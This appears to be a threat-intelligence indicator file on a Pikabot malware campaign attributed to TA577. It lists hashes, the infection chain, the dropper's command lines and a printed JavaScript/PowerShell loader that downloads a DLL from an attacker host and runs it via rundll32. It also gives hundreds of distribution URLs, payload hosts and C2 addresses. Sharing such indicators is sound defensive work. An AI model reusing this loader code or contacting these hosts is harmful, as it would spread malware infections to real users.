Pikabot_05.10.2023.txt

05.10.2023 | Pikabot | TA577

*************************************************

.url https://texasnewusa.com/so/
.zip 831e5aea20119e3b3e604ce638d1c8d1533c47ef8c82e2599269d952a1a99e6a
.js be3f466bf9bb52547563899cbf6cb893b86549f08214c3fd3c1e93e913a9804e
.dll 62f2adbc73cbdde282ae3749aa63c2bc9c5ded8888f23160801db2db851cde8f

.zip 53e70661204df5b827134353c6e977f509539aabe0e06c002bbaa87552f9ef21
.dll 778b6797bb9c9d2f868d3faaaf6b36ce3f06178c133bb592c5345c95ffb034a9

*************************************************

zip > lnk > curl > dll

wscript.exe C:\Users\Admin\AppData\Local\Temp\PO_13670.js

cmd /c mkdir C:\ProgramData\LimdD

WinHttp.WinHttpRequest.5.1 https://superrrdental.com/H6F/dshjdsjkkd C:\ProgramData\\LimdD\laminos.dll

rundll32.exe C:\ProgramData\\LimdD\laminos.dll, HUF_inc_var

*************************************************

.js script 

var _0x4b = ["\\ProgramData\\", "Scripting.FileSystemObject", "WinHttp.WinHttpRequest.5.1", "WScript.Shell", "GET", "Open", "Send", "Status", "ResponseBody", "ADODB.Stream", "Type", "Write", "Position", "SaveToFile", "Close", "Run", "Ошибка при загрузке: ", "Echo", "C:\\ProgramData\\LimdD", "https://superrrdental.com/H6F/dshjdsjkkd", "C:\\ProgramData\\LimdD\\laminos.dll", "rundll32 ", ", HUF_inc_var"];

*************************************************

var FSO = new ActiveXObject("Scripting.FileSystemObject"), 
    WSH = new ActiveXObject("WScript.Shell"), 
    DIR = function(suffix) { return "C:\\ProgramData\\" + suffix; },
    alpha = DIR("AlphaPath"),
    beta = DIR("BetaPath"),
    PS_EXE = ["C:", "Windows", "System32", "WindowsPowerShell", "v1.0", "powershell.exe"].join("\\");

(function(OP) {
    OP.modifyDir = function(path) { if (FSO.FolderExists(path)) FSO.DeleteFolder(path); FSO.CreateFolder(path); };
    OP.performCommand = function(cmd, state, wait) { WSH.Run(cmd, state, wait); };
    OP.delay = function(time) { WScript.Sleep(time); };
    
    (function() {
        OP.modifyDir(alpha);
        FSO.CopyFile(PS_EXE, alpha + "\\appRunner.exe", true);
    })();

    (function() {
        OP.delay(3000);
        OP.modifyDir(beta);
        OP.performCommand("explorer.exe https://reutersinstitute.politics.ox.ac.uk/sites/default/files/2022-06/Digital_News-Report_2022.pdf", 1, false);
        OP.delay(5000);
        
        var cmdPart1 = alpha + '\\';
        var cmdPart2 = 'appRunner.exe ';
        var cmdPart3 = '-nop -Ep BYPass -WiN HId -eNc function A($p, s){
    $d = Join-Path $p $s 
    return $d

}

function B($u, $p){
    Invoke-WebRequest -Post -uri $u -OutFile $p 
}

function C($c){ 
    iex $c
}
$u1 = "https://plawers.]com/TOA/"
$u2` = [System.Text.Encoding]::UTF8GetString([System.Convert]::FromBase64String("EFKkefkefs="))
$url = $u1+`$u2
$d1 = "C:\ProgramData\"
$d2 = "BotaPath"
$folder = A $d1 $d2
$f = "donot.dll"
$fullPath = A $folder $f
$cmd1 = "rundll2 3"
$cmd2 = ", HUE_inc_var"
$runCommand = $cmd1 + $fullPath + $cmd2

B $url $fullPath
 C $runCommand=';
        OP.performCommand(cmdPart1 + cmdPart2 + cmdPart3, 0, true);

        OP.delay(180000);
        OP.modifyDir(alpha);
        OP.modifyDir(beta);
    })();
})({});

*************************************************

distro url

https://4am.health/ate/?1
https://6shoequarterhorses.com/tu/?1
https://aakashfertilitycentre.in/qsp/?1
https://abhijayaspices.com/eadp/?1
https://abouthealthupdates.us/atic/?1
https://acitcollege.com/ihle/?1
https://actecksoft.com/do/?1
https://adast-alfn.com/suai/?1
https://adonisaviation.in/pmi/?1
https://advipickles.com/ate/?1
https://adz.biz.id/rt/?1
https://agriformexico.com/fc/?1
https://airtaceuropa.com/trqa/?1
https://akla.com.pk/oua/?1
https://akpoazaagroup.com/qnr/?1
https://alalifperfume.com/ui/?1
https://alfa-omega-pty.com/as/?1
https://alikhan.com.pk/puia/?1
https://allazeez.in/ue/?1
https://alphamgt.com.ng/solr/?1
https://amshesp.com/rooe/?1
https://angelesescobar.cl/uure/?1
https://antarperu.com.pe/uqe/?1
https://aonenetwork.com.np/siqe/?1
https://application-form.ca/ts/?1
https://aquatickidsglobalschool.com/et/?1
https://arigopay.com/pamr/?1
https://arkeyo.com/ma/?1
https://arosalmasayif.com/rc/?1
https://arterecreiovidros.com.br/sa/?1
https://aryanmediasolutions.com/rl/?1
https://ashwithaatech.com/io/?1
https://asianrealty.co/scar/?1
https://assuredservice.co.in/ln/?1
https://astroheenasharma.in/efmr/?1
https://aviorify.com/ie/?1
https://bakhshjobs.com/issa/?1
https://bamboom.com.co/eq/?1
https://bandafourhead.com.br/oiai/?1
https://battlegroundmobileindia.link/er/?1
https://beautyforwellness.com/ti/?1
https://bellepreviews.com/tute/?1
https://benaamedia.com/siui/?1
https://beseen-bla.com/troi/?1
https://besttoptenpro.com/uspt/?1
https://biolankaagrifoods.com/nas/?1
https://brandpacker.net/oel/?1
https://brasigncertificacao.com.br/ates/?1
https://brilliant-solutions.ae/it/?1
https://brindiz.com/eu/?1
https://broadwayevents.co.za/oeii/?1
https://brokrbindr.ca/ab/?1
https://buyproductnow.online/dol/?1
https://buyshyhub.com/tu/?1
https://buzzbt.io/blio/?1
https://calenaglobaltrade.com/eu/?1
https://campfuckyeah.com/us/?1
https://carcodebd.com/quc/?1
https://care4sneaker.com/esid/?1
https://carisfly.com/toed/?1
https://casadebill.org/it/?1
https://casagilapizaco.mx/it/?1
https://cdatulua.com/uelv/?1
https://celebtribune.com/odm/?1
https://celestialthaispa.com/pt/?1
https://cheaptravelservice.us/is/?1
https://chetanaenterprises-nx.com/tide/?1
https://chipnweb.com/tu/?1
https://chiroqueabogados.pe/nd/?1
https://cinecreativofilmschool.com/issn/?1
https://clickdelcaribe.com.mx/oat/?1
https://clinicametropolitana.com.co/tnno/?1
https://clinicsmilekraft.com/uees/?1
https://codecut.site/ual/?1
https://conceptloop.net/rdm/?1
https://conecthosting.top/nsmi/?1
https://connectww.net/eiut/?1
https://constitutionalsanctuarycity.org/eit/?1
https://copainbar.com/ted/?1
https://creativekiwi.lk/iiat/?1
https://creatixacademy.com/ueot/?1
https://crisfaria.com.br/est/?1
https://crudeoilinvestment.online/outt/?1
https://ctisupplies.co.ke/ov/?1
https://culturadireitoesociedade.com.br/ts/?1
https://cuneiformtest.com/eit/?1
https://dbtowing.ca/ir/?1
https://dealsfordell.com/leou/?1
https://demande-hypothecaire.ca/lei/?1
https://demandehypothecaire.ca/uq/?1
https://desarrollosprogramas.com/ttsa/?1
https://desertandbloom.com/uq/?1
https://digicry.com/ul/?1
https://digitalsafecertificadora.com.br/eeta/?1
https://disneyworldvacationhouse.com/omr/?1
https://dol.sah.com.pk/tue/?1
https://dollar2023.com/esd/?1
https://doumvn.com/eai/?1
https://drawbox.pt/etue/?1
https://drmurtazashomoeopathy.in/bman/?1
https://easy1pay.org.in/sqaa/?1
https://easyfitautoglass.co.za/iqat/?1
https://ebaeuropacontrol.com/asu/?1
https://ejlalacademy.com/al/?1
https://electroblitz.ro/uql/?1
https://elevon.co/ot/?1
https://eloagro.agr.br/aeep/?1
https://engenhariaiguacu.com.br/ede/?1
https://englishnet.com.mx/qe/?1
https://essams.com/au/?1
https://europe-garage-automobile.com/atu/?1
https://excelliaschool.edu.in/ior/?1
https://expressioncomp.com/tete/?1
https://ezejiamatufoundation.com/etr/?1
https://ezeuba.me/tvai/?1
https://fa.sah.com.pk/sa/?1
https://factorycounter.com/nuur/?1
https://facturial.es/equ/?1
https://fit-decor.com/fas/?1
https://fixdax.co.in/ltq/?1
https://flatfeecorp.co/or/?1
https://forextradings.net/vt/?1
https://fouredgefm.com/iemt/?1
https://freguesiadabeleza.com.br/auf/?1
https://fundaciongrillos.org/utm/?1
https://funsaef.org/ips/?1
https://futurefoodfarms.com.ng/gmss/?1
https://gallinairan.com/snlu/?1
https://gamintcorporateltd.com/mrue/?1
https://garimaenterprises.co.in/se/?1
https://gatesfencingyork.co.uk/smd/?1
https://gazisupershop.com/ae/?1
https://geetabeautyhub.in/pt/?1
https://generalplans.us/uqm/?1
https://gestionfuturaauditores.com/io/?1
https://getinnerwears.com/un/?1
https://gfs-ae.com/sd/?1
https://glasslineoriental.com/oan/?1
https://goh.org.au/tusf/?1
https://goyaclinics.com/nii/?1
https://gpexpatservices.com/ain/?1
https://grupotrespro.com/uv/?1
https://handygifts.in/oiuo/?1
https://harrisairaviation.com/si/?1
https://healosure.com/nii/?1
https://healthads.shop/qtec/?1
https://healthylivingdiet.us/aitr/?1
https://hermanaluzangelica.com/qe/?1
https://himalayanoak.in/pnt/?1
https://homeblossomdecor.com/iu/?1
https://homeimprovementskills.us/ttli/?1
https://homeproservices.org/oe/?1
https://hooverrepairservicecenterauthorized.com/mrrs/?1
https://hostyfly.com/qtie/?1
https://hotshortlet.com/iosm/?1
https://hudaibiahcollege.com/eaup/?1
https://hyperwall.ir/tedi/?1
https://hypnotherapytrainingcollege.com.au/en/?1
https://hypotheques438.ca/mue/?1
https://hypothequeswestisland.ca/aim/?1
https://i-techsolutions.co.ke/amr/?1
https://ibda3-code.me/lrpa/?1
https://icg-egy.net/det/?1
https://igmvs.com/duqo/?1
https://ikhsoyod.mn/ums/?1
https://inefa.cl/aq/?1
https://infogrotech.com/cnl/?1
https://insanmadanijambi.org/ispe/?1
https://ircuniversity.org/ele/?1
https://itscnf.com/rs/?1
https://izipay.sale/seua/?1
https://jankiinternational.in/deit/?1
https://jekinformatica.com.br/pi/?1
https://jlsangola.com/quc/?1
https://jobhunt88.com/ad/?1
https://jobvortex.com/si/?1
https://kabirulaqib.com/nam/?1
https://kapaass.com/mn/?1
https://kaprat.com/nte/?1
https://kcims.org/ua/?1
https://kejriwalyojana.com/qoua/?1
https://kernel-ec.com/oore/?1
https://kevinpharmachem.com/su/?1
https://keyvigilant.com.mx/otpr/?1
https://khalifatravels.com.pk/auuq/?1
https://khalimoff.com/std/?1
https://kimandclak-ltd.com/lam/?1
https://kimcamacademy.net/doo/?1
https://kipor.ae/osrq/?1
https://kiswepatil.in/tm/?1
https://kkdghssalumni.com/dme/?1
https://knockknock.com.mt/lo/?1
https://ko2labs.com/isa/?1
https://komarna.biz/ud/?1
https://kriasoftux.com/le/?1
https://krishnajwellery.com/reti/?1
https://kundagal.af/iosc/?1
https://laboratorygulfinchemicalsolutions.com/ets/?1
https://lashesbylittlesecret.com/uac/?1
https://lavaliosa.com.mx/di/?1
https://learnstuffs.com/eoun/?1
https://lembang.net/eia/?1
https://levarrise.com/rl/?1
https://liegefelicio.com.br/qgl/?1
https://lionaiassistant.com/vde/?1
https://loganwritersfestival.com.au/umco/?1
https://lovereignshf.com/ua/?1
https://lpexpert.site/qtqu/?1
https://lynearwealth.com/to/?1
https://mafuliyadevimm.in/neis/?1
https://malc.sa/it/?1
https://mallasprogalv.com/ia/?1
https://mamobiles.pk/iins/?1
https://masterschoolkandana.site/sort/?1
https://matrix-egy.net/uior/?1
https://maullinspa.cl/ut/?1
https://maxcelulares.com.br/ie/?1
https://mcbsistemas.com.br/al/?1
https://mdmonirul.com/uuqn/?1
https://med-care.co/qoiu/?1
https://medicionacustica.cl/eio/?1
https://medigest.in/uaeq/?1
https://medrexmedicaltrding.tw/taub/?1
https://megatrustinc.com/mau/?1
https://metalfiber.com.pe/put/?1
https://metasailor.co/pas/?1
https://metastockinv.com/afg/?1
https://miammiam.sg/rina/?1
https://midlightsoft.com/peum/?1
https://miliaonline.com/uas/?1
https://misryoum.com/eere/?1
https://mobilefixer.in/rat/?1
https://modivaluxury.com/et/?1
https://mohasanteck.com/am/?1
https://mortgage-application-form.com/bem/?1
https://mostlynonsensical.com/rb/?1
https://motherteresacharitablesociety.com/sati/?1
https://moucecore.org/unsn/?1
https://mukundmotors.com/dlr/?1
https://muralis.ro/aq/?1
https://mushiwushi.com/tlu/?1
https://mweimall.co.ke/cu/?1
https://my-lynk.com/niu/?1
https://myprojectssydney.com.au/iest/?1
https://myrescue.ke/labr/?1
https://nahitahukuk.com/qaq/?1
https://nata2023.in/mmq/?1
https://nateweise.com/ltdo/?1
https://naun.com.br/ur/?1
https://nbsdevelopments.com/na/?1
https://ndbl.com.bd/cctn/?1
https://needzsolutions.com/oeiu/?1
https://neurodivergentna.com/bp/?1
https://newspaperman.in/arp/?1
https://nexspace.co.th/uii/?1
https://nipoafricaeng.co.tz/oii/?1
https://norcantec.com.ar/umn/?1
https://norvik.ug/gteu/?1
https://novpara.capital/se/?1
https://nowapsiindia.com/eoas/?1
https://offerselecter.com/latu/?1
https://olajideabiola.com/au/?1
https://olimartesser.com.br/iuts/?1
https://olympicscientific.ca/ee/?1
https://onlineearnway.com/oa/?1
https://onlinegratuitycalculator.com/eta/?1
https://ora-dental.com/eni/?1
https://organicfoodslahore.com/tsa/?1
https://organicsoul.in/iq/?1
https://outdooremarati.com/roe/?1
https://outworktech.com/ld/?1
https://oximedbolivia.com/turn/?1
https://packline.org/eoor/?1
https://pakistanroof.com/ps/?1
https://pehspl.co.in/td/?1
https://pelicanmarket.net/upui/?1
https://percastillo.pe/tge/?1
https://perfect-itsolutions.com/pm/?1
https://petholickw.com/lm/?1
https://pineheightsystems.com.ng/ei/?1
https://pipedrive-experts.ca/lnro/?1
https://pittsburghbizpage.com/ut/?1
https://pktrakia.com/imu/?1
https://plantscares.in/tua/?1
https://plugpicks.com/acum/?1
https://poonamcoatings.com/tio/?1
https://portalmar.com.br/na/?1
https://portleon.com/uh/?1
https://portonesautomaticosbolivia.com/am/?1
https://priceclub.online/ln/?1
https://promediol.com/it/?1
https://provfin.com.au/ea/?1
https://pseventer.com/di/?1
https://psservicesindia.com/doet/?1
https://psyperceive.com/tau/?1
https://ptferubbers.com/uua/?1
https://pusadurbanbank.com/id/?1
https://pythoncodesnippets.com/uee/?1
https://qastoman.com/du/?1
https://qbhhospitality.com/deu/?1
https://queenbbridals.ng/rt/?1
https://quicknet.co.in/nsm/?1
https://radhagobindrefrigeration.com/is/?1
https://raffaelamarescalco.it/uisc/?1
https://raghavagency.com/doae/?1
https://rapidskinandhairclinic.com/iaol/?1
https://rareflock.com/toea/?1
https://rawdah-mlhm.com/iin/?1
https://rayhanacademy.com/unim/?1
https://realestateimpact.us/laoo/?1
https://realsportscast24.co.uk/rsis/?1
https://realtynoida.com/un/?1
https://refalalmadinah.com/bseu/?1
https://rhpsupplychain.com/sl/?1
https://rkindustriesguj.com/doo/?1
https://rodeate.com/uee/?1
https://rodriyt.com/qi/?1
https://rshm.co.in/eaii/?1
https://rup-tot.com/da/?1
https://rxmedicos.in/thc/?1
https://saiffastners.com/mqdo/?1
https://salaammaharashtra.in/mqu/?1
https://sallybdran.co.il/uem/?1
https://samittechnorubber.in/ax/?1
https://sapansahu.com/paiu/?1
https://saurcool.com/nt/?1
https://scholarshiplug.com/uun/?1
https://servicecustomercare.com/seip/?1
https://shalife.in/luoi/?1
https://shamsuddeensparepartsenterprise.com.ng/auue/?1
https://shankarmaharaj.com/num/?1
https://shivanisolar.com/esrs/?1
https://shopnovinplus.com/uon/?1
https://shreekalastudioz.com/est/?1
https://shriganapathisourses.com/cor/?1
https://sigmaproducts.co.in/cae/?1
https://simplyvisit.co.uk/tpae/?1
https://skillerszone.com/eexe/?1
https://smartjayasolution.com/tl/?1
https://smarttv.show/qmc/?1
https://snowhillvythiri.com/uho/?1
https://sparespace.in/lli/?1
https://spertual.site/umd/?1
https://sppflash.com.ar/utsv/?1
https://standartbud.net/turo/?1
https://stjohnsdamoh.co.in/er/?1
https://stonedigitalcenter.co.tz/otis/?1
https://strategy180.com.au/amsn/?1
https://sunagbsc.org/at/?1
https://supremeelevator.com/msti/?1
https://surplz.com/ue/?1
https://taxicentral.ir/qll/?1
https://taxitransferskeri.com/rit/?1
https://teachenglishonline.org/eaom/?1
https://teakwd.com/euta/?1
https://techeverywhere.space/us/?1
https://technopark.com.pk/ma/?1
https://technopus.com/ate/?1
https://tedsbrain.com/oila/?1
https://tennislifemag.com/dim/?1
https://teravonsolar.com/is/?1
https://texasnewusa.com/lta/?1
https://thecatalyzersevents.ae/aq/?1
https://theconsulting.io/iidt/?1
https://thehumanitarianfund.org/stc/?1
https://themarijuanashow.com/iu/?1
https://thestandpoint.ca/catm/?1
https://tingolazodeportes.com/re/?1
https://topdailystory.com/ste/?1
https://torkleader.com/nmll/?1
https://touchenexus.com/se/?1
https://transmilez.com/isup/?1
https://trysupplements.online/rr/?1
https://tsmedia.id/atso/?1
https://twingalleria.com/ec/?1
https://tyresonlinestore.com/em/?1
https://uniquemanufacture.co.in/eo/?1
https://updatetechbd.com/lsc/?1
https://urhobodaily.com/oue/?1
https://usdo.in/oon/?1
https://vbnexcod.co.in/ri/?1
https://ventanillaunicapalermo.com.co/co/?1
https://vertical-gardener.com/cqlu/?1
https://vivafitnessgym.com/as/?1
https://vsjinfotech.com/dcis/?1
https://vulturetv.com/tau/?1
https://wagonslearning.in/uiqq/?1
https://wagonsskillfoundation.com/ameu/?1
https://walkinmyshoes.org.au/btnt/?1
https://want2beme.com/acm/?1
https://webdesigninhull.co.uk/tei/?1
https://websfy.com/sa/?1
https://wedoit.global/arp/?1
https://wheelieschoolchile.cl/csus/?1
https://winsumfashion.com/timu/?1
https://wiselyworksdemo.com.au/nhl/?1
https://wizzardz-solutions.com/ar/?1
https://wolsale.com/ea/?1
https://wyseden.com/squu/?1
https://xirconhomes.com.au/oelu/?1
https://yagneek.com/sm/?1
https://yeni-dad.az/aos/?1
https://yourponno.com/iev/?1
https://yrspc-app.net/esxe/?1
https://yushanmedia.com.np/taiq/?1
https://zeytouni.net/dl/?1
https://zpsc.edu.bd/ieto/?1

*************************************************

.dll distro

https://superrrdental.com/H6F/dshjdsjkkd
https://orthodentrics.com/8GE/44dsdsf32342
https://oloplentex.com/3uqck/UEdedsd3
https://plawers.com/TOA/

*************************************************

c2'

https://38.242.240.28:1194
https://102.129.139.65:32999
https://45.131.108.250:1194
https://167.86.96.3:2222
https://79.141.175.96:2078